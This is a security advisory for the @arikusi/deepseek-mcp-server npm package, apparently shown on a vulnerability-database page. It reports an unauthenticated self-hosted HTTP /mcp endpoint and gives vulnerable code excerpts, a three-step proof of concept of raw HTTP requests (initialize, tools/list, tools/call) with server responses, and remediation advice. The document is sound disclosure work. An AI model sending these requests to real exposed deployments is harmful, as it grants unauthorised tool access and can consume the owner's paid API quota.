GHSA-72F3-6W86-7RV3

Vulnerability from github – Published: 2026-08-25 18:38 – Updated: 2026-08-25 18:38
VLAI
Summary
@arikusi/deepseek-mcp-server: Missing Authentication on Self-Hosted HTTP MCP Endpoint
Details

Summary

The self-hosted HTTP transport of @arikusi/deepseek-mcp-server exposes POST /mcp without any authentication: createMcpExpressApp is called without an authProvider and no middleware guards the route, so any network-reachable client can issue an unauthenticated initialize request and obtain a valid MCP session identifier. In reproduced testing against commit 5e1302171e99, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local deepseek_sessions tool with no credentials. The same unauthenticated session also exposes deepseek_chat, whose handler uses the server-side DEEPSEEK_API_KEY when self-hosted deployments configure one.

This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in README.md, which expects an Authorization: Bearer ... header. Upstream self-hosted container assets enable HTTP mode by default (Dockerfile) and publish port 3000 (docker-compose.yml).

Affected Code

src/transport-http.ts:17 — createMcpExpressApp called without authProvider; no challenge is issued to incoming requests

export function createHttpApp(serverFactory: () => McpServer) {
  const app = createMcpExpressApp({ host: '0.0.0.0' });

src/transport-http.ts:31 — POST /mcp handler instantiates a full MCP session for any body that satisfies isInitializeRequest, with no preceding auth check

  app.post('/mcp', async (req, res) => {
    const sessionId = req.headers['mcp-session-id'] as string | undefined;

    if (sessionId && transports[sessionId]) {
      await transports[sessionId].handleRequest(req, res, req.body);
      return;
    }

    if (!sessionId && isInitializeRequest(req.body)) {
      const transport = new StreamableHTTPServerTransport({
        sessionIdGenerator: () => randomUUID(),
        onsessioninitialized: (id) => {
          transports[id] = transport;
          console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`);
        },
      });

      const server = serverFactory();
      await server.connect(transport);
      await transport.handleRequest(req, res, req.body);

HTTP client → POST /mcp (no auth middleware) → transport-http.ts:41 (isInitializeRequest branch) → transport-http.ts:57–59 (serverFactory()+connect+handleRequest)

Dockerfile:12-13 — upstream container image defaults to self-hosted HTTP mode

ENV TRANSPORT=http
ENV HTTP_PORT=3000

docker-compose.yml:4-8 — upstream compose file publishes port 3000 and enables HTTP mode

services:
  deepseek-mcp:
    ports:
      - "3000:3000"
    environment:
      - TRANSPORT=http

Proof of Concept

Step 1 — send unauthenticated initialize: server returns HTTP 200 and a live mcp-session-id — proves no credentials are required to establish a session.

python3 poc.py
POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc-client","version":"1.0"}}}
HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

event: message
data: {"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true}},"serverInfo":{"name":"deepseek-mcp-server","version":"1.7.0"}},"jsonrpc":"2.0","id":1}

Step 2 — send unauthenticated tools/list on the obtained session: server returns the full tool surface (deepseek_chat, deepseek_sessions) — proves tool discovery is reachable without credentials.

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
RESULT: PASS — tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied.

Step 3 — send unauthenticated tools/call for the local deepseek_sessions tool on the obtained session: server executes the tool and returns its result with no credentials supplied.

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"deepseek_sessions","arguments":{"action":"list"}}}
HTTP/1.1 200 OK
content-type: text/event-stream

event: message
data: {"result":{"content":[{"type":"text","text":"No active sessions."}]},"jsonrpc":"2.0","id":2}

Impact

In self-hosted HTTP deployments, any host with network access to port 3000 can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local deepseek_sessions tool.

deepseek_chat is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side DEEPSEEK_API_KEY places billable DeepSeek operations behind an unauthenticated endpoint. However, this report's reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.

Remediation

Require authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an authProvider to createMcpExpressApp at transport-http.ts:17 or place equivalent authentication middleware / a reverse proxy in front of /mcp so unauthenticated clients never reach the initialize branch:

const app = createMcpExpressApp({
  host: '0.0.0.0',
  authProvider,
});

For deployments that only need local access, bind to 127.0.0.1 instead of 0.0.0.0 in both createMcpExpressApp and app.listen (transport-http.ts:17 and :107) as a defence-in-depth measure. Upstream docker-compose.yml currently publishes 3000:3000; changing that to 127.0.0.1:3000:3000 would reduce inadvertent exposure on multi-user or server hosts.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@arikusi/deepseek-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.2"
            },
            {
              "fixed": "1.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:38:30Z",
    "nvd_published_at": "2026-07-09T22:17:06Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one.\n\nThis issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`).\n\n## Affected Code\n`src/transport-http.ts:17` \u2014 `createMcpExpressApp` called without `authProvider`; no challenge is issued to incoming requests\n\n```typescript\nexport function createHttpApp(serverFactory: () =\u003e McpServer) {\n  const app = createMcpExpressApp({ host: \u00270.0.0.0\u0027 });\n```\n\n`src/transport-http.ts:31` \u2014 `POST /mcp` handler instantiates a full MCP session for any body that satisfies `isInitializeRequest`, with no preceding auth check\n\n```typescript\n  app.post(\u0027/mcp\u0027, async (req, res) =\u003e {\n    const sessionId = req.headers[\u0027mcp-session-id\u0027] as string | undefined;\n\n    if (sessionId \u0026\u0026 transports[sessionId]) {\n      await transports[sessionId].handleRequest(req, res, req.body);\n      return;\n    }\n\n    if (!sessionId \u0026\u0026 isInitializeRequest(req.body)) {\n      const transport = new StreamableHTTPServerTransport({\n        sessionIdGenerator: () =\u003e randomUUID(),\n        onsessioninitialized: (id) =\u003e {\n          transports[id] = transport;\n          console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`);\n        },\n      });\n\n      const server = serverFactory();\n      await server.connect(transport);\n      await transport.handleRequest(req, res, req.body);\n```\n\nHTTP client \u2192 `POST /mcp` (no auth middleware) \u2192 `transport-http.ts:41` (`isInitializeRequest` branch) \u2192 `transport-http.ts:57\u201359` (`serverFactory()+connect+handleRequest`)\n\n`Dockerfile:12-13` \u2014 upstream container image defaults to self-hosted HTTP mode\n\n```dockerfile\nENV TRANSPORT=http\nENV HTTP_PORT=3000\n```\n\n`docker-compose.yml:4-8` \u2014 upstream compose file publishes port `3000` and enables HTTP mode\n\n```yaml\nservices:\n  deepseek-mcp:\n    ports:\n      - \"3000:3000\"\n    environment:\n      - TRANSPORT=http\n```\n\n## Proof of Concept\nStep 1 \u2014 send unauthenticated `initialize`: server returns HTTP 200 and a live `mcp-session-id` \u2014 proves no credentials are required to establish a session.\n\n```bash\npython3 poc.py\n```\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc-client\",\"version\":\"1.0\"}}}\n```\n\n```http\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\nmcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba\n\nevent: message\ndata: {\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true}},\"serverInfo\":{\"name\":\"deepseek-mcp-server\",\"version\":\"1.7.0\"}},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\nStep 2 \u2014 send unauthenticated `tools/list` on the obtained session: server returns the full tool surface (`deepseek_chat`, `deepseek_sessions`) \u2014 proves tool discovery is reachable without credentials.\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\nmcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba\n\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}}\n```\n\n```text\nRESULT: PASS \u2014 tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied.\n```\n\nStep 3 \u2014 send unauthenticated `tools/call` for the local `deepseek_sessions` tool on the obtained session: server executes the tool and returns its result with no credentials supplied.\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\nmcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71\n\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"deepseek_sessions\",\"arguments\":{\"action\":\"list\"}}}\n```\n\n```http\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"No active sessions.\"}]},\"jsonrpc\":\"2.0\",\"id\":2}\n```\n\n## Impact\nIn self-hosted HTTP deployments, any host with network access to port `3000` can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local `deepseek_sessions` tool.\n\n`deepseek_chat` is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side `DEEPSEEK_API_KEY` places billable DeepSeek operations behind an unauthenticated endpoint. However, this report\u0027s reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.\n\n## Remediation\nRequire authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an `authProvider` to `createMcpExpressApp` at `transport-http.ts:17` or place equivalent authentication middleware / a reverse proxy in front of `/mcp` so unauthenticated clients never reach the initialize branch:\n\n```typescript\nconst app = createMcpExpressApp({\n  host: \u00270.0.0.0\u0027,\n  authProvider,\n});\n```\n\nFor deployments that only need local access, bind to `127.0.0.1` instead of `0.0.0.0` in both `createMcpExpressApp` and `app.listen` (`transport-http.ts:17` and `:107`) as a defence-in-depth measure. Upstream `docker-compose.yml` currently publishes `3000:3000`; changing that to `127.0.0.1:3000:3000` would reduce inadvertent exposure on multi-user or server hosts.",
  "id": "GHSA-72f3-6w86-7rv3",
  "modified": "2026-08-25T18:38:30Z",
  "published": "2026-08-25T18:38:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/security/advisories/GHSA-72f3-6w86-7rv3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/pull/4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/commit/dab07ed93ddde0ab219d4cb7066785847db53a32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arikusi/deepseek-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/blob/main/CHANGELOG.md#180---2026-06-14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/releases/tag/v1.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@arikusi/deepseek-mcp-server: Missing Authentication on Self-Hosted HTTP MCP Endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…